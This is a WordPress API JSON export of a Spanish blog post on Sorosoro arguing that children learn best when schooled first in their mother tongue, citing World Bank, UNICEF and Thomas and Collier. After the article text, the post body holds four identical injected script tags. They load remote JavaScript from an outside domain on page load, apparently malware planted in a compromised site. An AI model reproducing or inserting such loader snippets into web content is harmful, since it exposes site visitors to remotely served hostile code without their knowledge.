{"id":66551,"date":"2015-09-04T15:36:28","date_gmt":"2015-09-04T13:36:28","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66551"},"modified":"2025-10-21T22:02:06","modified_gmt":"2025-10-21T20:02:06","slug":"educacion-en-lengua-materna","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/","title":{"rendered":"Educaci\u00f3n en lengua materna"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Rozenn Milin el October 25, 2010<\/span><br \/>\n<div id=\"attachment_2550\" style=\"width: 160px\" class=\"wp-caption alignleft\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\" size-full wp-image-2549 alignleft\" title=\"Rozenn_Milin\"  src=\"\/wp-content\/uploads\/Rozenn_Milin.jpg\" alt=\"Rozenn_Milin\" width=\"150\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Rozenn Milin, Directrice du programme Sorosoro<\/p><\/div><\/p>\n<p><strong>Pongamos aqu\u00ed las bases del debate<\/strong>: estudios llevados a cabo a trav\u00e9s del mundo por diversos organismos muestran que alfabetizar a un ni\u00f1o en su lengua de origen da globalmente excelentes resultados, mientras que imponer de entrada en juego la escolarizaci\u00f3n en lengua nacional o en una lengua extranjera es una pol\u00edtica que conduce frecuentemente al fracaso.<\/p>\n<p>El Banco Mundial incluso lo afirma en el Sourcebook for Poverty Reduction Strategies \u2013Libro de fuentes de estrategias para la reducci\u00f3n de la pobreza\u2013 (2001), retomando un reporte de la UNICEF de 1999: \u00abNumerosas investigaciones muestran que <strong>los alumnos aprenden m\u00e1s r\u00e1pido a leer y a adquirir nuevos conocimientos cuando han recibido la primera ense\u00f1anza en su lengua materna;<\/strong> Aprenden as\u00ed mismo m\u00e1s r\u00e1pidamente una segunda lengua que aquellos que aprendieron primero a leer en una lengua que no les era familiar\u00bb.<\/p>\n<p>Los ling\u00fcistas Thomas y Collier (1997), quienes llevaron a cabo estudios a grande escala sobre el tema, son todav\u00eda m\u00e1s precisos: constataron que <strong>los alumnos salidos de minor\u00edas ling\u00fc\u00edsticas que hab\u00edan recibido en la escuela primaria la ense\u00f1anza m\u00e1s elevada en la lengua materna ten\u00edan tambi\u00e9n los mejores resultados\u2026<\/strong>en la lengua nacional luego de los ex\u00e1menes nacionales estandarizados llevados en los liceos.<\/p>\n<p>Esos resultados son l\u00edmpidos, y se podr\u00eda incluso decir que son una simple cuesti\u00f3n de sentido com\u00fan, incluso si algunos tienen dificultades todav\u00eda para admitirlos. Y es una verdadera l\u00e1stima que estos datos no sean tomados en cuenta de una mejor manera ya que el \u00e9xito en la escuela condiciona las oportunidades de mejorar el nivel de vida de millones de ni\u00f1os: una alfabetizaci\u00f3n bien lograda es efectivamente <strong>su mejor atributo<\/strong> para no convertirse en los abandonados de la globalizaci\u00f3n.<\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Rozenn Milin el October 25, 2010 Pongamos aqu\u00ed las bases del debate: estudios llevados a cabo a trav\u00e9s del mundo por diversos organismos muestran que alfabetizar a un ni\u00f1o en su lengua de origen da globalmente excelentes resultados, mientras que imponer de entrada en juego la escolarizaci\u00f3n en lengua nacional o en una [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-66551","post","type-post","status-publish","format-standard","hentry","category-otro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Educaci\u00f3n en lengua materna - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Educaci\u00f3n en lengua materna - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Publicado por Rozenn Milin el October 25, 2010 Pongamos aqu\u00ed las bases del debate: estudios llevados a cabo a trav\u00e9s del mundo por diversos organismos muestran que alfabetizar a un ni\u00f1o en su lengua de origen da globalmente excelentes resultados, mientras que imponer de entrada en juego la escolarizaci\u00f3n en lengua nacional o en una [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-04T13:36:28+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:02:06+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"Educaci\u00f3n en lengua materna\",\"datePublished\":\"2015-09-04T13:36:28+00:00\",\"dateModified\":\"2025-10-21T20:02:06+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/\"},\"wordCount\":333,\"articleSection\":[\"Otro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/\",\"name\":\"Educaci\u00f3n en lengua materna - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2015-09-04T13:36:28+00:00\",\"dateModified\":\"2025-10-21T20:02:06+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Educaci\u00f3n en lengua materna\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Educaci\u00f3n en lengua materna - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/","og_locale":"es_ES","og_type":"article","og_title":"Educaci\u00f3n en lengua materna - Sorosoro","og_description":"Publicado por Rozenn Milin el October 25, 2010 Pongamos aqu\u00ed las bases del debate: estudios llevados a cabo a trav\u00e9s del mundo por diversos organismos muestran que alfabetizar a un ni\u00f1o en su lengua de origen da globalmente excelentes resultados, mientras que imponer de entrada en juego la escolarizaci\u00f3n en lengua nacional o en una [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/","og_site_name":"Sorosoro","article_published_time":"2015-09-04T13:36:28+00:00","article_modified_time":"2025-10-21T20:02:06+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Sorosoro","Tiempo de lectura":"2 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"Educaci\u00f3n en lengua materna","datePublished":"2015-09-04T13:36:28+00:00","dateModified":"2025-10-21T20:02:06+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/"},"wordCount":333,"articleSection":["Otro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/","url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/","name":"Educaci\u00f3n en lengua materna - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2015-09-04T13:36:28+00:00","dateModified":"2025-10-21T20:02:06+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/educacion-en-lengua-materna\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Educaci\u00f3n en lengua materna"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/es\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66551","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=66551"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66551\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=66551"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=66551"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=66551"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}